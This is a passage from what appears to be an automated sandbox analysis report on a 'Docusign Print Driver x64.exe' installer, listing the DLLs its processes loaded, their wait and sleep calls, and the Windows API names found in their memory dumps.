%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\67186481d97828a572bf5db055f4a9f1\System.ni.dll (UID: 00000000-00005036) "rundll32.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005036) "rundll32.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\c20afd70aeb352395f8f5297a727f0ba\System.Core.ni.dll (UID: 00000000-00005036) "rundll32.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\0fc458e2e89a1743b9bb2c58049a8f4f\System.Configuration.ni.dll (UID: 00000000-00005036) "rundll32.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005036) "rundll32.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00005036) "rundll32.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005036) "rundll32.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005036) "SecondInstaller.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007120) "SecondInstaller.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007120) "SecondInstaller.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007120) "SecondInstaller.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\AdvApi32.dll (UID: 00000000-00007120) "SecondInstaller.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Msi.dll (UID: 00000000-00007120) "SecondInstaller.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007120) "SecondInstaller.exe" called "LoadLibrary" with a parameter Cabinet.dll (UID: 00000000-00007120) "SecondInstaller.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00007120) "SecondInstaller.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007008) "SecondInstaller.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007008) "SecondInstaller.exe" called "LoadLibrary" with a parameter Cabinet.dll (UID: 00000000-00007008) "SecondInstaller.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007008) "SecondInstaller.exe" called "LoadLibrary" with a parameter Advapi32.dll (UID: 00000000-00007008) "SecondInstaller.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007008) "SecondInstaller.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00007008) "SecondInstaller.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007008) "SecondInstaller.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\comctl32.dll (UID: 00000000-00007008) "SecondInstaller.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00007008) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\AdvApi32.dll (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Msi.dll (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter Cabinet.dll (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\srclient.dll (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter srpapi.dll (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter Ntdll.dll (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter %WINDIR%\SysWOW64\SHLWAPI.DLL (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter MsiMsg.dll (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter %WINDIR%\SysWOW64\NETAPI32.DLL (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter %WINDIR%\SysWOW64\sxs.DLL (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter MsiHnd.dll (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter KERNEL32 (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter DWMAPI (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter USER32 (UID: 00000000-00007000) "Docusign Print Driver x64.exe" called "LoadLibrary" with a parameter RICHED20.DLL (UID: 00000000-00007000) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005136) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005136) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005136) "rundll32.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005136) "rundll32.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005136) "rundll32.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005136) "rundll32.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005136)4e:T662,WaitForSingleObjectEx at 00000000-00005036-43131-55-00564E42 Sleep at 00000000-00005036-43131-67-00568AD0 WaitForSingleObject at 00000000-00005036-43131-80-00563E89 WaitForSingleObject at 00000000-00005036-43131-159-00562E8C TpSetTimer at 00000000-00005036-43131-175-0056664F TpSetTimer at 00000000-00005036-43131-177-00568533 Sleep@KERNEL32.DLL at 00000000-00007008-46143-345-000C3933 WaitForSingleObject@KERNEL32.DLL at 00000000-00007008-46143-370-000C02EC Sleep@KERNEL32.DLL at 00000000-00007008-46143-590-00082EBC Sleep@KERNEL32.DLL at 00000000-00007008-46143-772-0009545D Sleep@KERNEL32.DLL at 00000000-00007008-46143-785-00098B85 WaitForSingleObject@KERNEL32.DLL at 00000000-00007008-46143-801-000968AE WaitForSingleObject@KERNEL32.DLL at 00000000-00007008-46143-807-000AD10E WaitForSingleObject@KERNEL32.DLL at 00000000-00007008-46143-809-000ACF33 WaitForSingleObject@KERNEL32.DLL at 00000000-00007008-46143-810-000ACE8D WaitForMultipleObjects@KERNEL32.DLL at 00000000-00007008-46143-870-000A9B0F Sleep@KERNEL32.DLL at 00000000-00007008-46143-903-000C3B30 Sleep@KERNEL32.DLL at 00000000-00007008-46143-920-000C4E42 WaitForMultipleObjects@KERNEL32.DLL at 00000000-00007008-46143-965-0009E8CE WaitForMultipleObjects@KERNEL32.DLL at 00000000-00007008-46143-966-0009E4A1 WaitForSingleObject@KERNEL32.DLL at 00000000-00007008-46143-969-00095365 WaitForSingleObject@KERNEL32.DLL at 00000000-00007008-46143-971-0009E88F Sleep@KERNEL32.DLL at 00000000-00007008-46143-972-00093F22 WaitForSingleObject@KERNEL32.DLL at 00000000-00007008-46143-986-0009CDC8 Sleep@KERNEL32.DLL at 00000000-00007008-46143-993-00094AB04f:T99fd,Found reference to API (Indicator: "RtlNtStatusToDosErrorNoTeb"; File: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "RaiseFailFastException"; File: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "RtlDllShutdownInProgress"; File: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "MessageBoxW"; File: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "LoadIconW"; File: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "TranslateMessage"; File: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "DispatchMessageW"; File: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "RegisterClassW"; File: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "DestroyWindow"; File: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "CreateWindowExW"; File: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "GetWindow"; File: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "DefWindowProcW"; File: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "LoadCursorW"; File: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "SetDefaultDllDirectories"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found reference to API (Indicator: "SetDllDirectoryW"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found reference to API (Indicator: "IsWow64Process"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found reference to API (Indicator: "Wow64DisableWow64FsRedirection"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found reference to API (Indicator: "Wow64EnableWow64FsRedirection"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found reference to API (Indicator: "Wow64RevertWow64FsRedirection"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found reference to API (Indicator: "DisplayVersion"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found reference to API (Indicator: "RegDeleteKeyExW"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found reference to API (Indicator: "CryptProtectMemory"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found reference to API (Indicator: "CryptUnprotectMemory"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found reference to API (Indicator: "SeShutdownPrivilege"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "K32GetModuleFileNameExW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "Process32NextW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "Process32FirstW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API (Indicator: "CryptExportKey"; Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found reference to API (Indicator: "AddDllDirectory"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found reference to API (Indicator: "RaiseFailFastException"; Source: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosErrorNoTeb"; Source: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "RtlDllShutdownInProgress"; Source: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "LoadIconW"; Source: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "TranslateMessage"; Source: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "DispatchMessageW"; Source: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "RegisterClassW"; Source: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "DestroyWindow"; Source: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "CreateWindowExW"; Source: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "GetWindow"; Source: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "DefWindowProcW"; Source: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "LoadCursorW"; Source: "00000000-00005036.00000000.215916.00561000.00000020.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process2"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "InitOnceExecuteOnce"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreExW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "GetSystemWow64Directory2W"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "SetProcessMitigationPolicy"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "AttachConsole"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "OpenSemaphoreW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockShared"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "FreeConsole"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexExW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockShared"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "CLSIDFromString"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "CharNextW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: 